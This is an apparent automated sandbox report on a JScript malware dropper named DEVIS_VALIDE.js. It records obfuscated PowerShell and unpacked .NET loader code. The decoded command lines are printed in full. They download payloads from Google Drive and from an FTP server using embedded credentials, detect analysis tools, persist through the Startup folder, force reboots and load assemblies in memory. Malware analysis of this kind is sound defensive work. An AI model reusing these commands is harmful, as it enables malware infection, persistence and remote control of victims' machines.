                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                  Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32Jump to behavior
                  Source: Window RecorderWindow detected: More than 3 window changes detected
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior

                  Data Obfuscation

                  barindex
                  JScript performs obfuscated calls to suspicious functions
                  Source: C:\Windows\System32\wscript.exeAnti Malware Scan Interface: shellExecute("powershell" , " -command " + CZJBG + "powershell" + " $jPhaA", "", "Open", 0) ;IHost.ScriptFullName();IShellDispatch6.ShellExecute("powershell", " -command $jPhaA = 'JA' + [char]66 + '2", "", "Open", "0")
                  .NET source code contains method to dynamically call methods (often used by packers)
                  Source: 20.2.powershell.exe.20ece618be0.0.raw.unpack, Messages.cs.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
                  Source: 20.2.powershell.exe.20ece618be0.0.raw.unpack, Messages.cs.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
                  Source: 28.2.powershell.exe.1e6806fed08.1.raw.unpack, Messages.cs.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
                  Source: 28.2.powershell.exe.1e6806fed08.1.raw.unpack, Messages.cs.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
                  Source: 36.2.powershell.exe.1de3d91f608.1.raw.unpack, Messages.cs.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
                  Source: 36.2.powershell.exe.1de3d91f608.1.raw.unpack, Messages.cs.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
                  Source: 44.2.powershell.exe.1558669f3b8.0.raw.unpack, Messages.cs.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
                  Source: 44.2.powershell.exe.1558669f3b8.0.raw.unpack, Messages.cs.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
                  Source: 53.2.powershell.exe.1d3333e0230.0.raw.unpack, Messages.cs.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
                  Source: 53.2.powershell.exe.1d3333e0230.0.raw.unpack, Messages.cs.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
                  .NET source code contains potential unpacker
                  Source: 4.2.powershell.exe.177da235a08.1.raw.unpack, -.cs.Net Code: _FDD0 System.Reflection.Assembly.Load(byte[])
                  Source: 4.2.powershell.exe.177d903f890.0.raw.unpack, -.cs.Net Code: _FDD0 System.Reflection.Assembly.Load(byte[])
                  Source: 20.2.powershell.exe.20ece614e80.1.raw.unpack, -.cs.Net Code: _FDD0 System.Reflection.Assembly.Load(byte[])
                  Source: 20.2.powershell.exe.20ece618be0.0.raw.unpack, Messages.cs.Net Code: Plugin System.AppDomain.Load(byte[])
                  Source: 20.2.powershell.exe.20ece618be0.0.raw.unpack, Messages.cs.Net Code: Memory System.AppDomain.Load(byte[])
                  Source: 20.2.powershell.exe.20ece618be0.0.raw.unpack, Messages.cs.Net Code: Memory
                  Source: 20.2.powershell.exe.20ee61e0000.2.raw.unpack, -.cs.Net Code: _FDD0 System.Reflection.Assembly.Load(byte[])
                  Source: 28.2.powershell.exe.1e6806fed08.1.raw.unpack, Messages.cs.Net Code: Plugin System.AppDomain.Load(byte[])
                  Source: 28.2.powershell.exe.1e6806fed08.1.raw.unpack, Messages.cs.Net Code: Memory System.AppDomain.Load(byte[])
                  Source: 28.2.powershell.exe.1e6806fed08.1.raw.unpack, Messages.cs.Net Code: Memory
                  Source: 28.2.powershell.exe.1e6806fafa8.0.raw.unpack, -.cs.Net Code: _FDD0 System.Reflection.Assembly.Load(byte[])
                  Source: 36.2.powershell.exe.1de3d91f608.1.raw.unpack, Messages.cs.Net Code: Plugin System.AppDomain.Load(byte[])
                  Source: 36.2.powershell.exe.1de3d91f608.1.raw.unpack, Messages.cs.Net Code: Memory System.AppDomain.Load(byte[])
                  Source: 36.2.powershell.exe.1de3d91f608.1.raw.unpack, Messages.cs.Net Code: Memory
                  Source: 36.2.powershell.exe.1de3d91b8a8.0.raw.unpack, -.cs.Net Code: _FDD0 System.Reflection.Assembly.Load(byte[])
                  Source: 44.2.powershell.exe.1558669b658.1.raw.unpack, -.cs.Net Code: _FDD0 System.Reflection.Assembly.Load(byte[])
                  Source: 44.2.powershell.exe.1558669f3b8.0.raw.unpack, Messages.cs.Net Code: Plugin System.AppDomain.Load(byte[])
                  Source: 44.2.powershell.exe.1558669f3b8.0.raw.unpack, Messages.cs.Net Code: Memory System.AppDomain.Load(byte[])
                  Source: 44.2.powershell.exe.1558669f3b8.0.raw.unpack, Messages.cs.Net Code: Memory
                  Source: 53.2.powershell.exe.1d3333e0230.0.raw.unpack, Messages.cs.Net Code: Plugin System.AppDomain.Load(byte[])
                  Source: 53.2.powershell.exe.1d3333e0230.0.raw.unpack, Messages.cs.Net Code: Memory System.AppDomain.Load(byte[])
                  Source: 53.2.powershell.exe.1d3333e0230.0.raw.unpack, Messages.cs.Net Code: Memory
                  Source: 53.2.powershell.exe.1d3333dc4d0.1.raw.unpack, -.cs.Net Code: _FDD0 System.Reflection.Assembly.Load(byte[])
                  Found suspicious powershell code related to unpacking or dynamic code loading
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: $jPhaA = 'JA' + [char]66 + '2AHgAYg' + [char]66 + 'DAHgAIAA9ACAAJA' + [char]66 + 'oAG8Acw' + [char]66 + '0AC4AVg' + [char]66 + 'lAHIAcw' + [char]66 + 'pAG8AbgAuAE0AYQ' + [char]66 + 'qAG8AcgAuAEUAcQ' + [char]66 + '1AGEAbA' + [char]66 + 'zACgAMgApADsASQ' + [char]66 + 'mACAAKAAgACQAdg' + [char]66 + '4AGIAQw' + [char]66 + '4ACAAKQAgAHsAJA' + [char]66 + 'IAHoATw' + [char]66 + 'NAGoAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQA7AGQAZQ' + [char]66 + 'sACAAKAAkAEgAeg' + [char]66 + 'PAE0AagAgACsAIAAnAFwAVQ' + [char]66 + 'wAHcAaQ' + [char]66 + 'uAC4AbQ' + [char]66 + 'zAHUAJwApADsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAJw' + [char]66 + 'oAHQAdA' + [char]66 + 'wAHMAOgAvAC8AZA' + [char]66 + 'yAGkAdg' + [char]66 + 'lAC4AZw' + [char]66 + 'vAG8AZw' + [char]66 + 'sAGUALg' + [char]66 + 'jAG8AbQAvAHUAYwA/AGUAeA' + [char]66 + 'wAG8Acg' + [char]66 + '0AD0AZA' + [char]66 + 'vAHcAbg' + [char]66 + 'sAG8AYQ' + [char]66 + 'kACYAaQ' + [char]66 + 'kAD0AJwA7ACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAPQAgACQAZQ' + [char]66 + 'uAHYAOg' + [char]66 + 'QAFIATw' + [char]66 + 'DAEUAUw' + [char]66 + 'TAE8AUg' + [char]66 + 'fAEEAUg' + [char]66 + 'DAEgASQ' + [char]66 + 'UAEUAQw' + [char]66 + 'UAFUAUg' + [char]66 + 'FAC4AQw' + [char]66 + 'vAG4AdA' + [char]66 + 'hAGkAbg' + [char]66 + 'zACgAJwA2ADQAJwApADsAaQ' + [char]66 + 'mACAAKAAgACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAKQAgAHsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAKAAkAGoAaw' + [char]66 + '3AGoAegAgACsAIAAnADEAcAAyAGIAcg' + [char]66 + 'qAEgALQ' + [char]66 + 'RAE4AWQA1AGIAcg' + [char]66 + '3AGkATA' + [char]66 + 'aAHUAWQ' + [char]66 + 'zAFcALQ' + [char]66 + 'SADUAOQ' + [char]66 + 'VAHcAag' + [char]66 + 'kAFMARQ' + [char]66 + 'WACcAKQAgADsAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAewAkAGoAaw' + [char]66 + '3AGoAegAgAD0AIAAoACQAag' + [char]66 + 'rAHcAag' + [char]66 + '6ACAAKwAgACcAMQ' + [char]66 + 'hAGEASA' + [char]66 + '5ADQALQ' + [char]66 + 'CAEwAMQ' + [char]66 + 'qAHAAQQ' + [char]66 + 'uAGoAaA' + [char]66 + '0AGUAZwA4ADgASw' + [char]66 + 'NAFoANw' + [char]66 + 'jAHUAOAAxAFoAMAA1AHcAJwApACAAOw' + [char]66 + '9ADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQAIAA9ACAAKAAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'OAGUAdAAuAFcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAKQAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + 'EAG8Adw' + [char]66 + 'uAGwAbw' + [char]66 + 'hAGQARg' + [char]66 + 'pAGwAZQAoACQAag' + [char]66 + 'rAHcAag' + [char]66 + '6ACw
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: FromBase64String( $ryaeG.replace(''?:?'',''A'') ) ;' ;$MODRg += '[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' )
                  Suspicious powershell command line found
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $jPhaA = 'JA' + [char]66 + '2AHgAYg' + [char]66 + 'DAHgAIAA9ACAAJA' + [char]66 + 'oAG8Acw' + [char]66 + '0AC4AVg' + [char]66 + 'lAHIAcw' + [char]66 + 'pAG8AbgAuAE0AYQ' + [char]66 + 'qAG8AcgAuAEUAcQ' + [char]66 + '1AGEAbA' + [char]66 + 'zACgAMgApADsASQ' + [char]66 + 'mACAAKAAgACQAdg' + [char]66 + '4AGIAQw' + [char]66 + '4ACAAKQAgAHsAJA' + [char]66 + 'IAHoATw' + [char]66 + 'NAGoAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQA7AGQAZQ' + [char]66 + 'sACAAKAAkAEgAeg' + [char]66 + 'PAE0AagAgACsAIAAnAFwAVQ' + [char]66 + 'wAHcAaQ' + [char]66 + 'uAC4AbQ' + [char]66 + 'zAHUAJwApADsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAJw' + [char]66 + 'oAHQAdA' + [char]66 + 'wAHMAOgAvAC8AZA' + [char]66 + 'yAGkAdg' + [char]66 + 'lAC4AZw' + [char]66 + 'vAG8AZw' + [char]66 + 'sAGUALg' + [char]66 + 'jAG8AbQAvAHUAYwA/AGUAeA' + [char]66 + 'wAG8Acg' + [char]66 + '0AD0AZA' + [char]66 + 'vAHcAbg' + [char]66 + 'sAG8AYQ' + [char]66 + 'kACYAaQ' + [char]66 + 'kAD0AJwA7ACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAPQAgACQAZQ' + [char]66 + 'uAHYAOg' + [char]66 + 'QAFIATw' + [char]66 + 'DAEUAUw' + [char]66 + 'TAE8AUg' + [char]66 + 'fAEEAUg' + [char]66 + 'DAEgASQ' + [char]66 + 'UAEUAQw' + [char]66 + 'UAFUAUg' + [char]66 + 'FAC4AQw' + [char]66 + 'vAG4AdA' + [char]66 + 'hAGkAbg' + [char]66 + 'zACgAJwA2ADQAJwApADsAaQ' + [char]66 + 'mACAAKAAgACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAKQAgAHsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAKAAkAGoAaw' + [char]66 + '3AGoAegAgACsAIAAnADEAcAAyAGIAcg' + [char]66 + 'qAEgALQ' + [char]66 + 'RAE4AWQA1AGIAcg' + [char]66 + '3AGkATA' + [char]66 + 'aAHUAWQ' + [char]66 + 'zAFcALQ' + [char]66 + 'SADUAOQ' + [char]66 + 'VAHcAag' + [char]66 + 'kAFMARQ' + [char]66 + 'WACcAKQAgADsAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAewAkAGoAaw' + [char]66 + '3AGoAegAgAD0AIAAoACQAag' + [char]66 + 'rAHcAag' + [char]66 + '6ACAAKwAgACcAMQ' + [char]66 + 'hAGEASA' + [char]66 + '5ADQALQ' + [char]66 + 'CAEwAMQ' + [char]66 + 'qAHAAQQ' + [char]66 + 'uAGoAaA' + [char]66 + '0AGUAZwA4ADgASw' + [char]66 + 'NAFoANw' + [char]66 + 'jAHUAOAAxAFoAMAA1AHcAJwApACAAOw' + [char]66 + '9ADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQAIAA9ACAAKAAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'OAGUAdAAuAFcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAKQAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 +
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$jkwjz = ($jkwjz + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$jkwjz = ($jkwjz + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$cxpfd = ( New-Object Net.WebClient ) ;$cxpfd.Encoding = [System.Text.Encoding]::UTF8 ;$cxpfd.DownloadFile($jkwjz, ($HzOMj + '\Upwin.msu') ) ;$tpWkF = ( 'C:\Users\' + [Environment]::UserName );HhXHB = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe HhXHB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DEVIS_VALIDE.js' -Destination ( $tpWkF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$jlcqj = ('ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter' + '/02/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$OjrRP = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($OjrRP, $lllGq) ;$RVUXv = $webClient.DownloadString( $jlcqj ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''?:?'',''A'') ) ;' ;$MODRg += '[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''k7NnMCPC/war/moc.nibetsap//:sptth'' , ''C:\Users\user\Desktop\DEVIS_VALIDE.js'' , ''D DDRegAsm'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1') ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\iyvmd.ps1'
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1'
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\iyvmd.ps1"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $jPhaA = 'JA' + [char]66 + '2AHgAYg' + [char]66 + 'DAHgAIAA9ACAAJA' + [char]66 + 'oAG8Acw' + [char]66 + '0AC4AVg' + [char]66 + 'lAHIAcw' + [char]66 + 'pAG8AbgAuAE0AYQ' + [char]66 + 'qAG8AcgAuAEUAcQ' + [char]66 + '1AGEAbA' + [char]66 + 'zACgAMgApADsASQ' + [char]66 + 'mACAAKAAgACQAdg' + [char]66 + '4AGIAQw' + [char]66 + '4ACAAKQAgAHsAJA' + [char]66 + 'IAHoATw' + [char]66 + 'NAGoAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQA7AGQAZQ' + [char]66 + 'sACAAKAAkAEgAeg' + [char]66 + 'PAE0AagAgACsAIAAnAFwAVQ' + [char]66 + 'wAHcAaQ' + [char]66 + 'uAC4AbQ' + [char]66 + 'zAHUAJwApADsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAJw' + [char]66 + 'oAHQAdA' + [char]66 + 'wAHMAOgAvAC8AZA' + [char]66 + 'yAGkAdg' + [char]66 + 'lAC4AZw' + [char]66 + 'vAG8AZw' + [char]66 + 'sAGUALg' + [char]66 + 'jAG8AbQAvAHUAYwA/AGUAeA' + [char]66 + 'wAG8Acg' + [char]66 + '0AD0AZA' + [char]66 + 'vAHcAbg' + [char]66 + 'sAG8AYQ' + [char]66 + 'kACYAaQ' + [char]66 + 'kAD0AJwA7ACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAPQAgACQAZQ' + [char]66 + 'uAHYAOg' + [char]66 + 'QAFIATw' + [char]66 + 'DAEUAUw' + [char]66 + 'TAE8AUg' + [char]66 + 'fAEEAUg' + [char]66 + 'DAEgASQ' + [char]66 + 'UAEUAQw' + [char]66 + 'UAFUAUg' + [char]66 + 'FAC4AQw' + [char]66 + 'vAG4AdA' + [char]66 + 'hAGkAbg' + [char]66 + 'zACgAJwA2ADQAJwApADsAaQ' + [char]66 + 'mACAAKAAgACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAKQAgAHsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAKAAkAGoAaw' + [char]66 + '3AGoAegAgACsAIAAnADEAcAAyAGIAcg' + [char]66 + 'qAEgALQ' + [char]66 + 'RAE4AWQA1AGIAcg' + [char]66 + '3AGkATA' + [char]66 + 'aAHUAWQ' + [char]66 + 'zAFcALQ' + [char]66 + 'SADUAOQ' + [char]66 + 'VAHcAag' + [char]66 + 'kAFMARQ' + [char]66 + 'WACcAKQAgADsAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAewAkAGoAaw' + [char]66 + '3AGoAegAgAD0AIAAoACQAag' + [char]66 + 'rAHcAag' + [char]66 + '6ACAAKwAgACcAMQ' + [char]66 + 'hAGEASA' + [char]66 + '5ADQALQ' + [char]66 + 'CAEwAMQ' + [char]66 + 'qAHAAQQ' + [char]66 + 'uAGoAaA' + [char]66 + '0AGUAZwA4ADgASw' + [char]66 + 'NAFoANw' + [char]66 + 'jAHUAOAAxAFoAMAA1AHcAJwApACAAOw' + [char]66 + '9ADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQAIAA9ACAAKAAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'OAGUAdAAuAFcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAKQAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + 